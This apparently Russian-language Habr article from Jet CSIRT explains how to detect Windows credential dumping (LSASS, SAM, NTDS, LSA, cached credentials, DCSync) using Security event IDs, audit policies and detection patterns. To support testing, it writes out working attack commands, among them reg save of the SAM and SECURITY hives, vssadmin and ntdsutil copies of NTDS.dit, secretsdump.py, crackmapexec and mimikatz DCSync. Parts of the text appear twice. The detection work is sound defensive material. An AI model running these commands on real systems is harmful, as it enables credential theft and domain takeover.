Одна из самых часто используемых техник при атаках — получение учетных данных из операционной системы. В этом можно убедиться, читая аналитические отчеты различных компаний: техника T1003 OS Credential Dumping в подавляющем большинстве случаев входит в ТОП-5. После проникновения в систему злоумышленникам необходимы учетки для перемещения по сети и доступа к конфиденциальной информации, а данная техника направлена на извлечение локальных и доменных учетных записей из системных файлов, реестра и памяти процессов.
В этой статье мы акцентируем внимание на своевременном выявлении подозрительной активности с помощью мониторинга ИБ и расскажем, как на основе событий штатной подсистемы аудита ОС обнаружить, что пытаются сдампить учетные данные в Windows. Логика детектирования будет представлена в общем виде по полям событий, а также в виде псевдокода, который можно адаптировать под синтаксис любой системы мониторинга. Ну и для возможности тестирования правил корреляции будут приведены краткая справка по атакам и способы их реализации.
Рассмотрим покрытие таких подтехник, как:
· дамп процесса lsass.exe;
· кража данных из базы SAM;
· дамп базы NTDS;
· извлечение секретов LSA;
· получение кэшированных данных;
· атака DCSync.
Изображение сгенерировано ботом Kandinsky (https://t.me/kandinsky21_bot)
Для регистрации нужных событий необходимо включить политики аудита Object Access – Audit Kernel Object и Object Access – Audit Handle Manipulation.
1. По событию запроса дескриптора объекта (4656 – журнал Security)
Event ID = 4656
Событие 4663 при дампе lsass.exe с помощью comsvcs.dlll
Псевдокод
Код доступа *%%4484 означает «Чтение из памяти процесса».
Основные отличия событий с id 4663 от 4656:
- 4663 показывает, что право доступа было использовано, а не просто запрошено;
- 4663 фиксирует только успешно выполненные операции.
reg save HKLM\sam path_to_sam_file
reg save HKLM\system path_to_system_file
Сохранение веток реестра
Далее уже на своей машине злоумышленник может извлечь хеши с помощью secretsdump.py из impacket или другой утилиты:
secretsdump.py LOCAL -sam sam -system system
Извлечение учетных данных
Второй способ — получить данные удаленно. Часто используются secretsdump.py или crackmapexec. Нужно также использовать учетную запись, которая имеет привилегии локального администратора на хосте:
secretsdump.py domain.local/username:'password'@hostname_or_IP
Получение хешей паролей из базы SAM с помощью secretsdump.py
crackmapexec smb hostname_or_IP --local-auth -u username -p 'password' --sam
Получение хешей паролей из базы SAM с помощью crackmapexec
Для логирования командной строки процесса необходимо дополнительно включить политики аудита:
Process Tracking – Process Creation
System – Audit Process Creation – Include command line in process creation events
Event ID = 4688
Событие 4688 при сохранении ветки реестра SAM
Также сохранение ветки реестра можно обнаружить в событии запроса дескриптора объекта (4656 – журнал Security): для этого предварительно необходимо включить политику аудита Object Access – Registry и настроить SACL для веток реестра Sam и System (настройки аналогичные).
SACL для ветки реестра HKLM\SAM
Event ID = 4656
Событие 4656 при сохранении ветки реестра SAM
События 4688 и 4656 следует рассматривать в связке, связующими будут целевой узел и одна учетная запись.
Псевдокод
В случае получения данных SAM удаленно (secretsdump/crackmapexec) детектирование осуществляется по цепочке событий:
1. Вход в учетную запись был успешно выполнен (4624 – журнал Security).
Нужна политика аудита Logon/Logoff – Logon
2. Объект общей сетевой папки был проверен на предмет возможности предоставления клиенту желаемого доступа (5145 – журнал Security).
Нужна политика аудита Object Access – Detailed File Share
3. Запрошен дескриптор объекта (4656 – журнал Security).
Нужна политика аудита Object Access – Registry и SACL для веток реестра HKLM\SAM (аналогично указанному раннее) и HKLM\SYSTEM\CurrentControlSet\Control\Lsa
SACL для ветки реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Event ID = 4624
Событие 4624 при использовании crackmapexec
Событие 5145 при использовании crackmapexec
Событие 4656 (ветка SAM) при использовании crackmapexec
Событие 4656 (ветка LSA) при использовании crackmapexec
Псевдокод
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\system.save
Создание и копирование Shadow Copy
Затем файлы ntds.dit.save и system.save необходимо скопировать на свой хост и с помощью secretsdump.py извлечь из них учетные данные:
secretsdump.py LOCAL -ntds ntds.dit.save -system system.save
Получение учетных данных из файлов
Второй способ — использование NTDSUtil на контроллере домена:
ntdsutil "activate instance ntds" "ifm" "create full C:\NTDS" quit quit
В результате будут созданы файлы C:\NTDS\Active Directory\ntds.dit, C:\NTDS\registry\SECURITY и C:\NTDS\registry\SYSTEM, которые необходимо скопировать на свой хост и с помощью secretsdump.py извлечь из них учетные данные:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM
Создание копии NTDS.dit и веток реестра SYSTEM и SECURITY
Получение учетных данных из файлов
Для логирования командной строки процесса необходимо дополнительно включить политики аудита:
Process Tracking – Process Creation
System – Audit Process Creation – Include command line in process creation events
Event ID = 4688
Событие 4688 при создании «теневой копии»
Дамп ntds.dit с помощью утилиты ntdsutil можно увидеть в событии создания нового процесса (4688 – журнал Security).
Event ID = 4688
Событие 4688 при использовании утилиты ntdsutil
Псевдокод
reg save HKLM\security path_to_security_file
reg save HKLM\system path_to_system_file
Сохранение веток реестра
Далее уже на своей машине злоумышленник может извлечь хеши с помощью secretsdump.py из impacket или другой утилиты:
secretsdump.py LOCAL - security security -system system
Извлечение учетных данных
Получить данные удаленно можно также с помощью secretsdump.py или crackmapexec:
secretsdump.py domain.local/username:'password'@hostname_or_IP
Получение учетных данных из LSA с помощью secretsdump.py
crackmapexec smb hostname_or_IP --local-auth -u username -p 'password' –lsa
Получение учетных данных из LSA с помощью crackmapexec
Извлечение учетных данных
Получение кэшированных учетных данных с помощью secretsdump.py
Получение кэшированных учетных данных с помощью crackmapexec
lsadump::dcsync /all
Атака DCSync с помощью mimikat
Атака DCSync с помощью mimikatz
Получить данные удаленно можно с помощью secretsdump.py. Для этого нужно указать флаг -just-dc и в качестве целевого хоста указать контроллер домена:
secretsdump.py -just-dc domain.local/username:'password'@dc_hostname_or_IP
Атака DCSync с помощью secretsdump
Данное событие не настроено по умолчанию, поэтому предварительно необходимо включить политику аудита DS Access – Audit Directory Service Access и настроить SACL для всех пользователей.
Аудит для всех пользователей
SACL на репликацию ntds.dit
Event ID = 4662
Событие 4662 при репликации ntds.dit
Псевдокод
Поле Properties содержит идентификаторы GUID свойств, для которых была выполнена операция:
1. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Ds-Replication-Get-Changes – Репликация изменений каталога)
2. 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (Ds-Replication-Get-Changes-All – Репликация изменений каталога)
3. 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set – Репликация изменений каталога в отфильтрованном наборе)
4. 9923a32a-3607-11d2-b9be-0000f87a36b2 (Ds-Install-Replica – Добавление или удаление реплики в домене)
Access Mask 0x100 говорит о том, что доступ разрешен только после выполнения расширенных проверок прав, поддерживаемых объектом.
Также неоднократно фиксировали, что даже если написаны правила детектирования, то в них бывают ошибки. Например, в одном из проектов на атаку DCSync сработал алерт на PetitPotam. При реальной атаке это может привести к тому, что сработку посчитают ложноположительной, тем самым пропустив инцидент.
Атакующий может вообще не использовать вредоносное ПО, а применять только стандартные утилиты. В любом случае при должных настройках аудита в журнале событий Security останутся следы. Так как от большинства подтехник защититься не получится (встроенные функции нужны для работы Active Directory), то важно своевременно выявлять подозрительную активность и реагировать на нее. Данная статья может стать для вас инструкцией по настройке мониторинга техники T1003 OS Credential Dumping (Windows). При этом стоит учитывать, что в вашей инфраструктуре дополнительно может потребоваться профилирование легитимной активности и ложноположительных срабатываний.
Авторы:
Валерия Шотт, аналитик центра мониторинга и реагирования на инциденты Jet CSIRT компании «Инфосистемы Джет»
Ирина Беляева, старший консультант по информационной безопасности компании «Инфосистемы Джет»
В этой статье мы акцентируем внимание на своевременном выявлении подозрительной активности с помощью мониторинга ИБ и расскажем, как на основе событий штатной подсистемы аудита ОС обнаружить, что пытаются сдампить учетные данные в Windows. Логика детектирования будет представлена в общем виде по полям событий, а также в виде псевдокода, который можно адаптировать под синтаксис любой системы мониторинга. Ну и для возможности тестирования правил корреляции будут приведены краткая справка по атакам и способы их реализации.
Рассмотрим покрытие таких подтехник, как:
· дамп процесса lsass.exe;
· кража данных из базы SAM;
· дамп базы NTDS;
· извлечение секретов LSA;
· получение кэшированных данных;
· атака DCSync.
Изображение сгенерировано ботом Kandinsky (https://t.me/kandinsky21_bot)
LSASS Memory (T1003.001)
LSASS — это процесс Windows, отвечающий за аутентификацию пользователей при входе в систему и соблюдение политик безопасности. В памяти процесса хранятся имена пользователей, NT-хеши паролей, Kerberos-билеты. Могут храниться и пароли в открытом виде, если включен WDigest.Как злоумышленники дампят память LSASS
Если кратко — можно сделать «снимок» памяти процесса или прочитать данные сразу из памяти. Методов много, и в один раздел их не вместить. Эта тема раскрыта в классной статье.Как обнаружить
Существуют два способа, как детектировать дамп памяти LSASS.Для регистрации нужных событий необходимо включить политики аудита Object Access – Audit Kernel Object и Object Access – Audit Handle Manipulation.
1. По событию запроса дескриптора объекта (4656 – журнал Security)
Event ID = 4656
- Object Type = Process
- Object Name = *lsass.exe
- Access List = *%%4484*
Событие 4656 при дампе lsass.exe с помощью mimikatz.exe
- По событию попытки доступа к объекту (4663 – журнал Security)
- Object Type = Process
- Object Name = *lsass.exe
- Access List = *%%4484*
Событие 4663 при дампе lsass.exe с помощью comsvcs.dlll
Псевдокод
Код доступа *%%4484 означает «Чтение из памяти процесса».
Основные отличия событий с id 4663 от 4656:
- 4663 показывает, что право доступа было использовано, а не просто запрошено;
- 4663 фиксирует только успешно выполненные операции.
SAM (T1003.002)
Из базы данных SAM (Security Account Manager) злоумышленник может получить NT-хеши паролей локальных пользователей.Как злоумышленники дампят SAM
Самый простой способ — сохранить ветки реестра HKLM\SAM и HKLM\SYSTEM, а затем извлечь из них учетные данные на своем хосте. Команды нужно выполнять от имени администратора или системы:reg save HKLM\sam path_to_sam_file
reg save HKLM\system path_to_system_file
Сохранение веток реестра
Далее уже на своей машине злоумышленник может извлечь хеши с помощью secretsdump.py из impacket или другой утилиты:
secretsdump.py LOCAL -sam sam -system system
Извлечение учетных данных
Второй способ — получить данные удаленно. Часто используются secretsdump.py или crackmapexec. Нужно также использовать учетную запись, которая имеет привилегии локального администратора на хосте:
secretsdump.py domain.local/username:'password'@hostname_or_IP
Получение хешей паролей из базы SAM с помощью secretsdump.py
crackmapexec smb hostname_or_IP --local-auth -u username -p 'password' --sam
Получение хешей паролей из базы SAM с помощью crackmapexec
Как обнаружить
Сохранение ветки реестра с помощью утилиты reg можно увидеть в событии создания нового процесса (4688 – журнал Security).Для логирования командной строки процесса необходимо дополнительно включить политики аудита:
Process Tracking – Process Creation
System – Audit Process Creation – Include command line in process creation events
Event ID = 4688
- New Process Name = *reg.exe
- Process Command Line = “*save*” и (“*HKLM\SAM*” или “*HKEY_LOCAL_MACHINE\SAM*” или “*HKLM\System*" или “*HKEY_LOCAL_MACHINE\System*”)
Событие 4688 при сохранении ветки реестра SAM
Также сохранение ветки реестра можно обнаружить в событии запроса дескриптора объекта (4656 – журнал Security): для этого предварительно необходимо включить политику аудита Object Access – Registry и настроить SACL для веток реестра Sam и System (настройки аналогичные).
SACL для ветки реестра HKLM\SAM
Event ID = 4656
- Process Name = *reg.exe
- Object Name = “\REGISTRY\MACHINE\SAM” или “\REGISTRY\MACHINE\SYSTEM”
Событие 4656 при сохранении ветки реестра SAM
События 4688 и 4656 следует рассматривать в связке, связующими будут целевой узел и одна учетная запись.
Псевдокод
В случае получения данных SAM удаленно (secretsdump/crackmapexec) детектирование осуществляется по цепочке событий:
1. Вход в учетную запись был успешно выполнен (4624 – журнал Security).
Нужна политика аудита Logon/Logoff – Logon
2. Объект общей сетевой папки был проверен на предмет возможности предоставления клиенту желаемого доступа (5145 – журнал Security).
Нужна политика аудита Object Access – Detailed File Share
3. Запрошен дескриптор объекта (4656 – журнал Security).
Нужна политика аудита Object Access – Registry и SACL для веток реестра HKLM\SAM (аналогично указанному раннее) и HKLM\SYSTEM\CurrentControlSet\Control\Lsa
SACL для ветки реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Event ID = 4624
- Source Network Address != “localhost” и “127.0.0.1” и “–”
- Logon Type = 3
- Share Name = \\*\IPC$
- Share Path = winreg
- Process Name = *svchost.exe
- Object Name = “\REGISTRY\MACHINE\SAM”
- Process Name = *svchost.exe
- Object Name = “*\Control\Lsa\*”
Событие 4624 при использовании crackmapexec
Событие 5145 при использовании crackmapexec
Событие 4656 (ветка SAM) при использовании crackmapexec
Событие 4656 (ветка LSA) при использовании crackmapexec
Псевдокод
NTDS (T1003.003)
NTDS.dit — это файл базы данных на контроллерах домена, содержащий все данные Active Directory. Из него можно получить NT-хеши паролей всех пользователей и компьютеров в домене. Если для учетной записи в Active Directory установлен параметр «Хранить пароль с использованием обратимого шифрования», то можно извлечь пароль в открытом виде.Как злоумышленники дампят NTDS
Первый способ — Shadow Copy. Создать «теневую копию» на контроллере домена можно с помощью vssadmin:vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\system.save
Создание и копирование Shadow Copy
Затем файлы ntds.dit.save и system.save необходимо скопировать на свой хост и с помощью secretsdump.py извлечь из них учетные данные:
secretsdump.py LOCAL -ntds ntds.dit.save -system system.save
Получение учетных данных из файлов
Второй способ — использование NTDSUtil на контроллере домена:
ntdsutil "activate instance ntds" "ifm" "create full C:\NTDS" quit quit
В результате будут созданы файлы C:\NTDS\Active Directory\ntds.dit, C:\NTDS\registry\SECURITY и C:\NTDS\registry\SYSTEM, которые необходимо скопировать на свой хост и с помощью secretsdump.py извлечь из них учетные данные:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM
Создание копии NTDS.dit и веток реестра SYSTEM и SECURITY
Получение учетных данных из файлов
Как обнаружить
Создание «теневой копии» с помощью утилиты vssadmin можно увидеть в событии создания нового процесса (4688 – журнал Security).Для логирования командной строки процесса необходимо дополнительно включить политики аудита:
Process Tracking – Process Creation
System – Audit Process Creation – Include command line in process creation events
Event ID = 4688
- New Process Name = *vssadmin.exe
- Process Command Line = “*vssadmin*” и “*create*” и “*shadow*”
Событие 4688 при создании «теневой копии»
Дамп ntds.dit с помощью утилиты ntdsutil можно увидеть в событии создания нового процесса (4688 – журнал Security).
Event ID = 4688
- New Process Name = *ntdsutil.exe
- Process Command Line = “*ac*” и “*i*” и “*ntds*” и “*ifm*” и “*create*” и “*full*”
Событие 4688 при использовании утилиты ntdsutil
Псевдокод
LSA (T1003.004)
Из LSA злоумышленники могут получить пароль учетной записи, от имени которой запускается какой-то сервис, и учетные данные компьютерной учетной записи.Как злоумышленники дампят LSA
Самый простой вариант — сохранить ветки реестра HKLM\SECURITY и HKLM\SYSTEM, а затем извлечь из них учетные данные на своем хосте. Команды нужно выполнять с правами локального администратора или системы:reg save HKLM\security path_to_security_file
reg save HKLM\system path_to_system_file
Сохранение веток реестра
Далее уже на своей машине злоумышленник может извлечь хеши с помощью secretsdump.py из impacket или другой утилиты:
secretsdump.py LOCAL - security security -system system
Извлечение учетных данных
Получить данные удаленно можно также с помощью secretsdump.py или crackmapexec:
secretsdump.py domain.local/username:'password'@hostname_or_IP
Получение учетных данных из LSA с помощью secretsdump.py
crackmapexec smb hostname_or_IP --local-auth -u username -p 'password' –lsa
Получение учетных данных из LSA с помощью crackmapexec
Как обнаружить
Детектирование производится аналогично сценарию с SAM, только вместо ветви SAM в событиях будет SECURITY (не забудьте настроить на нее такой же SACL).Cached Domain Credential (T1003.005)
Когда пользователь проходит аутентификацию на хосте, который входит в домен, его учетные данные кэшируются. Это используется для того, чтобы пользователи могли проходить аутентификацию в ОС на хосте в случае, если будет нарушена сетевая связность между хостом и контроллером домена.Как злоумышленники дампят Cached Domain Credential
Кэшированные учетные данные (DCC2-хеши) могут быть получены из ветки реестра HKLM\Security таким же образом, как и секреты LSA. Поэтому действия злоумышленник производит такие же, как и при дампе LSA.Извлечение учетных данных
Получение кэшированных учетных данных с помощью secretsdump.py
Получение кэшированных учетных данных с помощью crackmapexec
Как обнаружить
Детектирование производится аналогично сценарию с SAM, только вместо ветви SAM в событиях будет SECURITY (не забудьте настроить на нее такой же SACL).DCSync (T1003.006)
Атака DCSync заключается в том, что атакующий притворяется контроллером домена и проводит репликацию учетных данных доменных пользователей (учетные данные в NTDS.dit).Как злоумышленники проводят атаку DCSync
Самый популярный вариант — использование mimikatz:lsadump::dcsync /all
Атака DCSync с помощью mimikat
Атака DCSync с помощью mimikatz
Получить данные удаленно можно с помощью secretsdump.py. Для этого нужно указать флаг -just-dc и в качестве целевого хоста указать контроллер домена:
secretsdump.py -just-dc domain.local/username:'password'@dc_hostname_or_IP
Атака DCSync с помощью secretsdump
Как обнаружить
В момент репликации базы данных Active Directory (ntds.dit) на контроллере домена регистрируется событие выполнения операции с объектом доменных служб AD DS (4662 – журнал Security).Данное событие не настроено по умолчанию, поэтому предварительно необходимо включить политику аудита DS Access – Audit Directory Service Access и настроить SACL для всех пользователей.
Аудит для всех пользователей
SACL на репликацию ntds.dit
Event ID = 4662
- Access Mask = 0x100
- Properties = “*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*” или “*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*” или “*89e95b76-444d-4c62-991a-0facbeda640c*” или “*9923a32a-3607-11d2-b9be-0000f87a36b2*”
Событие 4662 при репликации ntds.dit
Псевдокод
Поле Properties содержит идентификаторы GUID свойств, для которых была выполнена операция:
1. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Ds-Replication-Get-Changes – Репликация изменений каталога)
2. 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (Ds-Replication-Get-Changes-All – Репликация изменений каталога)
3. 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set – Репликация изменений каталога в отфильтрованном наборе)
4. 9923a32a-3607-11d2-b9be-0000f87a36b2 (Ds-Install-Replica – Добавление или удаление реплики в домене)
Access Mask 0x100 говорит о том, что доступ разрешен только после выполнения расширенных проверок прав, поддерживаемых объектом.
В заключение
В статье мы рассмотрели шесть способов получения злоумышленниками учетных данных из реестра, памяти ОС Windows и из базы NTDS контроллеров домена Active Directory. На практике при проведении проектов по пентестам и Purple Team в большинстве случаев мы фиксируем, что у заказчиков подлежит мониторингу только дамп памяти процесса LSASS. Практически никто не мониторит получение учетных данных из реестра.Также неоднократно фиксировали, что даже если написаны правила детектирования, то в них бывают ошибки. Например, в одном из проектов на атаку DCSync сработал алерт на PetitPotam. При реальной атаке это может привести к тому, что сработку посчитают ложноположительной, тем самым пропустив инцидент.
Атакующий может вообще не использовать вредоносное ПО, а применять только стандартные утилиты. В любом случае при должных настройках аудита в журнале событий Security останутся следы. Так как от большинства подтехник защититься не получится (встроенные функции нужны для работы Active Directory), то важно своевременно выявлять подозрительную активность и реагировать на нее. Данная статья может стать для вас инструкцией по настройке мониторинга техники T1003 OS Credential Dumping (Windows). При этом стоит учитывать, что в вашей инфраструктуре дополнительно может потребоваться профилирование легитимной активности и ложноположительных срабатываний.
Авторы:
Валерия Шотт, аналитик центра мониторинга и реагирования на инциденты Jet CSIRT компании «Инфосистемы Джет»
Ирина Беляева, старший консультант по информационной безопасности компании «Инфосистемы Джет»
Как обнаружить хакера на этапе дампа учетных данных в Windows?
Одна из самых часто используемых техник при атаках — получение учетных данных из операционной системы. В этом можно убедиться, читая аналитические отчеты различных компаний: техника T1003 OS...
habr.com